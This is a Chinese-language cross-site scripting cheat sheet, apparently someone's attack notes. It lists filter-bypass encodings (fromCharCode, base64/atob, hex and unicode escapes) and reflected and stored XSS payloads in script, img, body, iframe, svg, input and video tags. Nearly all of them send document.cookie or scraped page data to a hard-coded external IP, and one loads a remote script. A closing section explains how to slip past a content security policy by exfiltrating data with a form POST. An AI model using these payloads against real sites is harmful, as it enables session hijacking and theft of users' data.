绕过

空格：%09，tab，/，/**/

String.fromCharCode()函数：ascii码转字符

```
<body
onload=document.write(String.fromCharCode(6
0,115,99,114,105,112,116,62,100,111,99,117,
109,101,110,116,46,108,111,99,97,116,105,11
1,110,46,104,114,101,102,61,39,104,116,116,
112,58,47,47,49,48,49,46,51,55,46,50,49,48,
46,50,51,54,58,56,48,56,48,47,88,83,83,46,1
12,104,112,63,99,111,111,107,105,101,61,39,
43,100,111,99,117,109,101,110,116,46,99,111
,111,107,105,101,60,47,115,99,114,105,112,1
16,62));></body>
String.fromCharCode(...)中的就是
<script>document.location.href='http://101.
37.210.236:8080/XSS.php?
cookie='+document.cookie</script>

字符串转ascii脚本
import sys
input_str=sys.argv[1]
ascii_ta=[]
for x in input_str:
    ascii_ta.append(str(ord(x)))
result=','.join(ascii_ta)
```

```
print("转换后的ascii码字符:")
print(result)

格式:
python str2ascii.py "
<script>document.location.href=
'http://101.37.210.236:8080/XSS.php?
cookie='+document.cookie</script>"
```

加密绕过

```
base64加密
<input onfocus=eval(atob(this.id))
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgi
c2NyaXB0Iik7YS5zcmM9ImhOdHBzOi8veHNzOC5jYy8
ySEpJIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG
EpOw== autofocus>
atob: base64解码函数
base64解码: var
a=document.createElement("script");a.src="h
ttps://xss8.cc/2HJI";document.body.appendCh
ild(a);
```

十六进制加密

```
<body/
onload=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x
74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\
x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61
\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x3
1\x35\x2c\x39\x39\x2c\x31\x31\x34\x2c\x31\x
30\x35\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\
x36\x32\x2c\x31\x30\x30\x2c\x31\x31\x31\x2c
\x39\x39\x2c\x31\x31\x37\x2c\x31\x30\x39\x2
c\x31\x30\x31\x2c\x31\x31\x30\x2c\x31\x31\x
36\x2c\x34\x36\x2c\x31\x30\x38\x2c\x31\x31\
x31\x2c\x39\x39\x2c\x39\x37\x2c\x31\x31\x36
\x2c\x31\x30\x35\x2c\x31\x31\x31\x2c\x31\x3
1\x30\x2c\x34\x36\x2c\x31\x30\x34\x2c\x31\x
31\x34\x2c\x31\x30\x31\x2c\x31\x30\x32\x2c\
x36\x31\x2c\x33\x39\x2c\x31\x30\x34\x2c\x31
\x31\x36\x2c\x31\x31\x36\x2c\x31\x31\x32\x2
c\x35\x38\x2c\x34\x37\x2c\x34\x37\x2c\x34\x
39\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\
x35\x31\x2c\x35\x35\x2c\x34\x36\x2c\x35\x30
\x2c\x34\x39\x2c\x34\x38\x2c\x34\x36\x2c\x3
5\x30\x2c\x35\x31\x2c\x35\x34\x2c\x35\x38\x
2c\x35\x36\x2c\x34\x38\x2c\x35\x36\x2c\x34\
x38\x2c\x34\x37\x2c\x38\x38\x2c\x38\x33\x2c
\x38\x33\x2c\x34\x36\x2c\x31\x31\x32\x2c\x3
1\x30\x34\x2c\x31\x31\x32\x2c\x36\x33\x2c\x
39\x39\x2c\x31\x31\x31\x2c\x31\x31\x31\x2c\
x31\x30\x37\x2c\x31\x30\x35\x2c\x31\x30\x31
\x2c\x36\x31\x2c\x33\x39\x2c\x34\x33\x2c\x3
1\x30\x30\x2c\x31\x31\x31\x2c\x39\x39\x2c\x
```

31\x31\x37\x2c\x31\x30\x39\x2c\x31\x30\x31\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x34\x36\x2c\x39\x39\x2c\x31\x31\x31\x2c\x31\x31\x31\x2c\x31\x30\x37\x2c\x31\x30\x35\x2c\x31\x30\x31\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x39\x39\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x36\x32\x29\x29\x3b")>

十六进制解码后:

document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,48,49,46,51,55,46,50,49,48,46,50,51,54,58,56,48,56,48,47,88,83,83,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62))
;

unicode加密

```
<body/
onload=eval("\u0064\u006f\u0063\u0075\u006d
\u0065\u006e\u0074\u002e\u0077\u0072\u0069\
u0074\u0065\u0028\u0053\u0074\u0072\u0069\u
006e\u0067\u002e\u0066\u0072\u006f\u006d\u0
043\u0068\u0061\u0072\u0043\u006f\u0064\u00
65\u0028\u0036\u0030\u002c\u0031\u0031\u003
5\u002c\u0039\u0039\u002c\u0031\u0031\u0034
\u002c\u0031\u0030\u0035\u002c\u0031\u0031\
u0032\u002c\u0031\u0031\u0036\u002c\u0036\u
0032\u002c\u0031\u0030\u0030\u002c\u0031\u0
031\u0031\u002c\u0039\u0039\u002c\u0031\u00
31\u0037\u002c\u0031\u0030\u0039\u002c\u003
1\u0030\u0031\u002c\u0031\u0031\u0030\u002c
\u0031\u0031\u0036\u002c\u0034\u0036\u002c\
u0031\u0030\u0038\u002c\u0031\u0031\u0031\u
002c\u0039\u0039\u002c\u0039\u0037\u002c\u0
031\u0031\u0036\u002c\u0031\u0030\u0035\u00
2c\u0031\u0031\u0031\u002c\u0031\u0031\u003
0\u002c\u0034\u0036\u002c\u0031\u0030\u0034
\u002c\u0031\u0031\u0034\u002c\u0031\u0030\
u0031\u002c\u0031\u0030\u0032\u002c\u0036\u
0031\u002c\u0033\u0039\u002c\u0031\u0030\u0
034\u002c\u0031\u0031\u0036\u002c\u0031\u00
31\u0036\u002c\u0031\u0031\u0032\u002c\u003
5\u0038\u002c\u0034\u0037\u002c\u0034\u0037
\u002c\u0034\u0039\u002c\u0034\u0038\u002c\
u0034\u0039\u002c\u0034\u0036\u002c\u0035\u
0031\u002c\u0035\u0035\u002c\u0034\u0036\u0
02c\u0035\u0030\u002c\u0034\u0039\u002c\u00
```

34\u0038\u002c\u0034\u0036\u002c\u0035\u0030\u002c\u0035\u0031\u002c\u0035\u0034\u002c\u0035\u0038\u002c\u0035\u0036\u002c\u0034\u0038\u002c\u0035\u0036\u002c\u0034\u0038\u002c\u0034\u0037\u002c\u0038\u0038\u002c\u0038\u0033\u002c\u0038\u0033\u002c\u0034\u0036\u002c\u0031\u0031\u0032\u002c\u0031\u0030\u0034\u002c\u0031\u0031\u0032\u002c\u0036\u0033\u002c\u0039\u0039\u002c\u0031\u0031\u0031\u002c\u0031\u0031\u0031\u002c\u0031\u0030\u0037\u002c\u0031\u0030\u0035\u002c\u0031\u0030\u0031\u002c\u0036\u0031\u002c\u0033\u0039\u002c\u0034\u0033\u002c\u0031\u0030\u0030\u002c\u0031\u0031\u0031\u002c\u0039\u0039\u002c\u0031\u0031\u0037\u002c\u0031\u0030\u0039\u002c\u0031\u0030\u0031\u002c\u0031\u0031\u0030\u002c\u0031\u0031\u0036\u002c\u0034\u0036\u002c\u0039\u0039\u002c\u0031\u0031\u0031\u002c\u0031\u0031\u0031\u002c\u0031\u0030\u0037\u002c\u0031\u0030\u0035\u002c\u0031\u0030\u0031\u002c\u0036\u0030\u002c\u0034\u0037\u002c\u0031\u0031\u0035\u002c\u0039\u0039\u002c\u0031\u0031\u0034\u002c\u0031\u0030\u0035\u002c\u0031\u0031\u0032\u002c\u0031\u0031\u0036\u002c\u0036\u0032\u0029\u0029\u003b")>

解码为:

```
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,48,49,46,51,55,46,50,49,48,46,50,51,54,58,56,48,56,48,47,88,83,83,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));
```

传参

1.jQuery.ajax，后台发送数据，基于原生的XMLHttpRequest 封装，比fetch更老练

页面必须要引用**jQuery**，判断是否引用了jQuery可以在控制台，输入**$**或**jQuery**测试，如果$绑定了jQuery可以简略成**$.ajax**

```
例: $.ajax({
    url: 'api/test.php',          // 请求的地址
    type: 'POST',                 // 请求方式: GET 或 POST
    data: {                       // 要发送的数据
        username: 'admin',
        password: '123'
    },
    success: function(res) {  // 成功后的回调函数
        console.log('服务器返回了: ' + res);
    },
    error: function(err) {    // 失败后的回调函数
        console.log('出错了');
    }
});
```

2.fetch，后台发送数据，老版不带cookie

```
GET:
fetch('api/user?id=1') //如果写成/api/user?id=1,则在网站根目录找
    .then(response => response.text()) // 先转换成文本（或 .json()）
```

```
    .then(data => console.log(data))    //
打印数据
    .catch(err => console.log(err));    //
捕捉错误

POST:
fetch('api/change.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-
form-urlencoded' // 模拟表单提交，默认Content-
Type: text/plain
    },
    body: 'p=1717' // 发送的内容
}).then(res => console.log("发送成功"));
```

反射型

```
<script>alert(1)</script>
<script>location.href="http://101.37.210.23
6:8080/XSS.php?
cookie"+document.cookie</script> //XSS.php用
来接收cookie
```

```
<img alert(1)>
<img src=""
onerror=location.href="http://101.37.210.23
6:8080/XSS.php?cookie="+document.cookie>

onload:正常加载触发
```

```
<body>ok</body>
<body
onload=location.href="http://101.37.210.236
:8080/XSS.php?cookie="+document.cookie>
</body>

onscroll:滚动触发
oncopy:复制触发
onpaste:粘贴触发
```

```
<iframe
onload=location.href="http://101.37.210.236
:8080/XSS.php?cookie="+document.cookie>
</iframe>//画中画
```

```
<svg
onload=location.href="http://101.37.210.236
:8080/XSS.php?cookie="+document.cookie>
</svg>//矢量图
```

```
<input
onfocus=location.href="http://101.37.210.23
6:8080/XSS.php?cookie="+document.cookie>

onkeydown:击键触发
onblur:失去焦点触发
onchange:改变值触发
```

```
<video><source
onerror=location.href='http://101.37.210.23
6:8080/XSS.php?cookie='+document.cookie>
</video>
```

存储型

```
<script>location.href="http://101.37.210.236:2333/"+document.cookie</script>    //跳转
<script>windows.open("http://101.37.210.236:2333/"+document.cookie)</script>    //跳转
<script>fetch("http://101.37.210.236:2333/"+document.cookie)</script>    //后台
<script>location.assign("http://101.37.210.236:2333/"+document.cookie)</script> //跳转
<script>location.replace("http://101.37.210.236:2333/"+document.cookie)</script>    //跳转
```

jquery选择器取数据

```
例: <script>$("div.layui-table-cell.laytable-cell-1-0-1").each(function(index,value) {window.open("http://101.37.210.236:2333/" + value.innerHTML)})</script>
```

querySelector选择器取数据

```
例:
<script>window.open("http://101.37.210.236:2333/"+document.querySelector("div.layui-form.layui-border-box.layui-table-view .layui-table-body .layui-table-cell.laytable-cell-1-0-1").innerHTML)</script>
```

数据外泄

```
<script>var
img=Image();img.src="http://101.37.210.236:
2333"+document.cookie;document.body.append(
img)</script>
```

CSP绕过

- 因为 CSP 管的类别不一样。

  ## 你这里为什么 form 没被拦

  页面的 CSP 大致是:

  default-src 'self' data: blob: ...

  它会影响很多资源加载，但:

  > 表单提交主要看 form-action，不是看 default-src。

  而你这页报错里能看到被拦的是:

  frame-src

  说明:

- iframe / frame 导航被 CSP 管了；
- 但页面没有配置 form-action；
- 所以浏览器默认不会拦表单往外提交。

对比一下

会被拦的

1. iframe

因为它属于：

frame-src

如果没单独写 frame-src，通常会回退到 default-src，
而你的外站：

http://101.37.210.236:2333/

不在白名单里，所以被拦。

---

2. fetch 到外站

如果你直接：

```
fetch('https://101.37.210.236:2333/')
```

那通常看：

```
connect-src
```

没放行也会被拦。

不会被拦的

form.submit()

这个属于：

```
form-action
```

如果 CSP 没写 form-action，浏览器一般就允许提交。

所以你现在能走通的原因是：

同源 fetch 读取数据
+
form POST 外传

前半段是同源，不会有问题；
后半段因为没 form-action，所以没被 CSP 卡。